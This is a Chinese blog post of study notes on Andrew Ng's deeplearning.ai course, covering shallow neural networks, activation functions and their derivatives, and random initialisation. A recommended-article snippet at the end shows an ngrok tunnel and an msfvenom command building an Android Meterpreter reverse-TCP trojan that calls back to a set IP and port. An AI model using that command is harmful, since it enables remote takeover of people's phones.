[DeeplearningAI笔记]神经网络与深度学习3.2_3.11(激活函数)浅层神经网络
觉得有用的话,欢迎一起讨论相互学习~Follow Me
3.2 神经网络表示

对于一个由输入层,隐藏层,输出层三层所组成的神经网络来说,输入层,即输入数据被称为第0层,中间层被称为第1层,输出层被称为第2层.所以这个神经网络被称为两层神经网络,我们不把输入层当做一个标准的层.
3.3 计算神经网络的输出
对于输入层的输入,我们把输入看做是一个矩阵,对于第一层的第一个神经元结点,计算\(W^T*x+b\)



3.4 多个样本例子中的向量化
上一节讨论的是对于单个样本我们使用神经网络表示的方法,现在我们谈论的是对于多个输入样本的神经网络表示方法,类似的对于m个样本,我们只需要对其进行遍历即可.

在图中[]括号表示神经元层数,()表示样本数.
对于这些矩阵来说横向指标就对应了不同的训练样本,从左向右扫的时候,就扫过了整个训练集,在竖向中,竖向指标就对应了单一神经网络层里不同的节点.
3.6 激活函数
tanh function

Angnew NG几乎不会使用sigmoid 函数,因为tanh函数几乎在任何方面多更加强大,但是对于输出层例外,因为在二元分类中,你可以使用sigmoid函数作为输出层的激活函数.但是对于sigmoid函数和tanh函数都有的缺点是,当z非常大或者非常小的时候,这个函数的梯度/斜率会变得很小.
ReLU function
ReLU(修正线性单元)

经验法则
如果你在做二元分类,那么sigmoid函数很适合作为输出层的激活函数,然后其他所有单元都用ReLU(现在已经几乎成为了几乎函数的默认选择),如果你不确定隐藏层的激活函数是什么可以大胆的尝试使用ReLU函数.对于ReLU函数在负数时斜率为0的问题,也给出了解决方案,被称为带泄露的ReLU(leaky ReLU).当z为负数时,函数不再为0,它有一个很平缓的斜率.leaky ReLU函数通常比ReLU函数更好.但是并没有ReLU函数这么常用.如果一定要选择一个激活函数,Angnew NG通常使用ReLU函数.使用ReLU函数的优势在于其在正数范围的斜率恒定为1,没有斜率接近0时减缓学习速率的情况.虽然对于ReLU函数来说其值在负数区间内的值是0,但是在实际实践中,有足够多的隐藏单元令z大于0.所以对大多数的训练样本来说还是相当快的.
总结

3.7 为什么需要非线性激活函数
我们为什么一定要把神经网络计算得到的结果经过激活函数输出呢?而不是直接使\(a^{[i]}=z^{[i]}\).其实使\(a^{[i]}=z^{[i]}\)有很官方的名字,称为恒等激活函数/线性激活函数.这样如果使用恒等激活函数,则会发现这是一种输入值的线性组合.在深度网络中,会发现,这不过是输入的简单的线性组合,还不如去掉所有的隐藏层,线性隐藏层一点用也没有.如果你要计算的是回归问题,也许可以在输出层使用线性激活函数.除此以外,几乎没有地方会用到线性激活函数.
3. 8 激活函数的导数
sigmoid function
对于sigmoid函数设\(g(z)=\frac{1}{1+e^{-z}}\),那么对于g(z)函数来说\(g^{'}(z)=g(z)(1-g(z))\)这正好解释了,当z非常大的时候g(z)趋向于1,则此时 \(g^{'}(z)\) 趋向于0,也就是说这时候函数会停止增长,类似于一条直线的形式.而在z=0时,\(g^{'}(z)\)会趋向于1/4.
tanh function
对于tanh函数设\(g(z)=\frac{e^{z}-e^{-z}}{e^{z}+e^{-z}}\),那么对于函数\(g^{'}(z)=1-(tanh(z))^{2}\)
ReLU function
对于ReLU函数设\(g(z)=max(0, z)\),
\(g^{'}(z)=\)$\begin{cases}
0 & z<0 \
1 & z>0 \
undefine & z=0 \
\end{cases}
$
leaky ReLU
对于Leaky ReLU函数设\(g(z)=max(0.01z, z)\),
\(g^{'}(z)=\)$\begin{cases}
0.01 & z<0 \
1 & z>0 \
undefine & z=0 \
\end{cases}
$
3.11 随机初始化
随机初始化十分重要,对于logistic regression 我们可以将权重设置为0,但是如果将所有层权重设置为0,在使用梯度下降法,那会完全无效.因为通过归纳法证明同一层的不同神经元如果都初始化为0,那么经过相同的激活函数,在计算反向传播算法时,其下降梯度即\(dz^{[i]}_{m}=dz^{[i]}_{n}\).即同一层不同神经元对于权重的下降梯度完全相同,这样一个隐藏层有多个神经元和隐藏层拥有一个神经元效果相同.解决这个的方法就是随机初始化参数.
我们一般将w和b设置为很小的随机值,因为在方程z=w*x+b中,如果计算得到的z值过大,会落在sigmoid或者是tanh函数的平缓地带,这样使用梯度下降法时会非常慢.也会学习的非常慢.
[DeeplearningAI笔记]神经网络与深度学习3.2_3.11(激活函数)浅层神经网络的更多相关文章
- [DeeplearningAI笔记]神经网络与深度学习人工智能行业大师访谈
觉得有用的话,欢迎一起讨论相互学习~Follow Me 吴恩达采访Geoffrey Hinton NG:前几十年,你就已经发明了这么多神经网络和深度学习相关的概念,我其实很好奇,在这么多你发明的东西中 ...
- Deeplearning.ai课程笔记-神经网络和深度学习
神经网络和深度学习这一块内容与机器学习课程里Week4+5内容差不多. 这篇笔记记录了Week4+5中没有的内容. 参考笔记:深度学习笔记 神经网络和深度学习 结构化数据:如数据库里的数据 非结构化数 ...
- Deep Learning.ai学习笔记_第一门课_神经网络和深度学习
目录 前言 第一周(深度学习引言) 第二周(神经网络的编程基础) 第三周(浅层神经网络) 第四周(深层神经网络) 前言 目标: 掌握神经网络的基本概念, 学习如何建立神经网络(包含一个深度神经网络), ...
- 吴恩达《深度学习》-第一门课 (Neural Networks and Deep Learning)-第三周:浅层神经网络(Shallow neural networks) -课程笔记
第三周:浅层神经网络(Shallow neural networks) 3.1 神经网络概述(Neural Network Overview) 使用符号$ ^{[
- deeplearning.ai 神经网络和深度学习 week3 浅层神经网络 听课笔记
1. 第i层网络 Z[i] = W[i]A[i-1] + B[i],A[i] = f[i](Z[i]). 其中, W[i]形状是n[i]*n[i-1],n[i]是第i层神经元的数量: A[i-1]是第 ...
- MXNet设计笔记之:深度学习的编程模式比较
市面上流行着各式各样的深度学习库,它们风格各异.那么这些函数库的风格在系统优化和用户体验方面又有哪些优势和缺陷呢?本文旨在于比较它们在编程模式方面的差异,讨论这些模式的基本优劣势,以及我们从中可以学到 ...
- 【神经网络与深度学习】【计算机视觉】RCNN- 将CNN引入目标检测的开山之作
转自:https://zhuanlan.zhihu.com/p/23006190?refer=xiaoleimlnote 前面一直在写传统机器学习.从本篇开始写一写 深度学习的内容. 可能需要一定的神 ...
- 深度学习基础-基于Numpy的多层前馈神经网络(FFN)的构建和反向传播训练
本文是深度学习入门: 基于Python的实现.神经网络与深度学习(NNDL)以及花书的读书笔记.本文将以多分类任务为例,介绍多层的前馈神经网络(Feed Forward Networks,FFN)加上 ...
- (转)神经网络和深度学习简史(第一部分):从感知机到BP算法
深度|神经网络和深度学习简史(第一部分):从感知机到BP算法 2016-01-23 机器之心 来自Andrey Kurenkov 作者:Andrey Kurenkov 机器之心编译出品 参与:chen ...
随机推荐
- element-ui,router.push到其他路由,菜单栏不会高亮对应的路由
使用饿了吗的路由,使用this.$router.push({path: ''})跳到其他的路由,菜单不会高亮. 如图所示,点击图上三个位置,需要使用this.$router.push({path: ' ...
- Hadoop伪分布式部署
一.Hadoop组件依赖关系: 步骤 1)关闭防火墙和禁用SELinux 切换到root用户 关闭防火墙:service iptables stop Linux下开启/关闭防火墙的两种方法 1.永久性 ...
- msfconsole弄外网手机木马
创建个通道./ngrok tcp 1113 msfvenom -p android/meterpreter/reverse_tcp LHOST=52.15.62.13 LPORT=17016 R &g ...
- deeplearning.ai 人工智能行业大师访谈 Ruslan Salakhutdinov 听课笔记
Ruslan Salakhutdinov一方面是苹果的研究主管,另一方面是CMU的教授. 1. Ruslan说自己进入深度学习完全是运气,他在多伦多大学读硕士,然后休学了一年,他在金融领域工作,那时候 ...
- deeplearning.ai 神经网络和深度学习 week2 神经网络基础 听课笔记
1. Logistic回归是用于二分分类的算法. 对于m个样本的训练集,我们可能会习惯于使用for循环一个个处理,但在机器学习中,是把每一个样本写成一个列向量x,然后把m个列向量拼成一个矩阵X.这个矩 ...
- BZOJ:4826: [Hnoi2017]影魔
Description 影魔,奈文摩尔,据说有着一个诗人的灵魂.事实上,他吞噬的诗人灵魂早已成千上万.千百年来,他收集了各式各样的灵魂,包括诗人.牧师.帝王.乞丐.奴隶.罪人,当然,还有英雄.每一个灵 ...
- 2017广东工业大学程序设计竞赛决赛 题解&源码(A,数学解方程,B,贪心博弈,C,递归,D,水,E,贪心,面试题,F,贪心,枚举,LCA,G,dp,记忆化搜索,H,思维题)
心得: 这比赛真的是不要不要的,pending了一下午,也不知道对错,直接做过去就是了,也没有管太多! Problem A: 两只老虎 Description 来,我们先来放松下,听听儿歌,一起“唱” ...
- BZOJ 1088: [SCOI2005]扫雷Mine【思维题,神奇的模拟+枚举】
1088: [SCOI2005]扫雷Mine Time Limit: 10 Sec Memory Limit: 162 MBSubmit: 3791 Solved: 2234[Submit][St ...
- Windows系统下文件的概念及c语言对其的基本操作(乙)
- 移动App,AJAX异步请求,实现简单的增、删、改、查
用ajax发异步请求时,要注意url."AppServer"为后台项目名,"LoginServlet.action"为web.xml中的<url-patt ...